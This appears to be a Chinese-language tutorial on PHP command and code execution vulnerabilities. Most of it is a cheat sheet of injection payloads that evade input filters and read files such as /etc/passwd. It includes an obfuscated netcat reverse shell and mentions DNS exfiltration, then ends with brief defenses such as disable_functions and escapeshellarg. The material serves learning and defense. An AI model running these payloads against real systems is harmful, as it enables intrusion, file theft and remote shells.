命令执行漏洞
应用程序的某些功能需要调用可以执行系统命令的函数,如果这些函数或函数的参数被用户控制,就有可能通过命令连接符("&、|、||")将恶意命令拼接到正常的函数中,从而执行系统命令!
代码执行漏洞
应用程序提供了一些可以将字符串作为代码执行的函数,如果对这些函数的参数控制不严格,就有可能会被攻击者利用,执行恶意代码!
PHP中常见的命令执行函数
PHP中常见的代码执行函数
注意:具体如何使用及实例,请参见之前的文章!
PHP危险代码
命令执行绕过
开发人员在开发的过程中,为了避免命令执行漏洞,可能会过滤一些命令!
${IFS}绕过:是shell的特殊环境变量,是Linux下的内部域分隔符,存储的值可以是空格、制表符、换行符或者其他自定义符号!
?ip=192.168.1.88;cat ${IFS} test.php// 可以查看test.php的源码!
$IFS$9绕过:用于空格过滤
?ip=192.168.1.88;cat ${IFS}$9 test.php// 可以查看test.php的源码!
制表符绕过
制表符的URL编码:%09,通过%09来代替空格,绕过空格过滤!
?ip=192.168.1.88;cat$09test.php// 可以查看test.php的源码!
{}绕过
绕过空格过滤
?ip=192.168.1.88;{cat$09test.php}// 可以查看test.php的源码!
绕过cat命令过滤
?ip=192.168.1.88;cat
变量拼接绕过
Linux支持变量赋值,通过变量拼接绕过!
?ip=192.168.1.88;a=c;b=at;$a$b test.php// 可以查看test.php的源码!
空变量绕过
?ip=192.168.1.88;ca${z}t test.php// 可以查看test.php的源码!
系统变量绕过
${SHELLOPTS}是系统变量,利用系统变量的字符拼接绕过过滤!
?ip=192.168.1.88;${SHELLOPTS:3:1}at test.php// 可以查看test.php的源码!
绕过
?ip=192.168.1.88;ca test.php// 可以查看test.php的源码!
通配符绕过
*,?、[]
比如要查看/etc/passwd文件
cat /???/???sw?
shell反弹绕过
/bin/nc 192.168.1.88 6666 -e /bin/bash
192.168.1.88 转换为十进制:192x256的3次方+168x256的二次方+1x256+88x1=3232235864
/b??/?c 3232235864 8888 -e /???/b??h
Base64编码绕过
利用系统函数base64对命令进行Base64编码
// id命名对其进行Base64编码:aWQ=解码:base64 -d
`echo "aWQ=" | base64 -d`
expr和awk绕过
通过命令从其他文件中提取字符进行命令构造
test.txt的内容为:
tonywenxin
获取test.txt中的t字母:
expr substr $(awk NR=1 test) 1 1 // 1:位置(索引从1开始的) 1:个数
无回显的命令执行
存在命令指定漏洞,并且执行此命名没有回显,可以通过shell反弹的方式将shell反弹到vps上,然后通过vps执行命令。如果无法反弹shell,也可以通过DNS管道解析的方式获取命令的执行结果!
命令执行漏洞防御
服务器配置修复
通过PHP配置文件中的disable_functions禁用敏感函数来修复命令执行漏洞!
函数过滤
escapeshellarg():把字符串转码为可以在shell命令里使用的参数,以过滤命令中的参数!
escapeshellcmd():对shell元字符进行转义,过滤命令!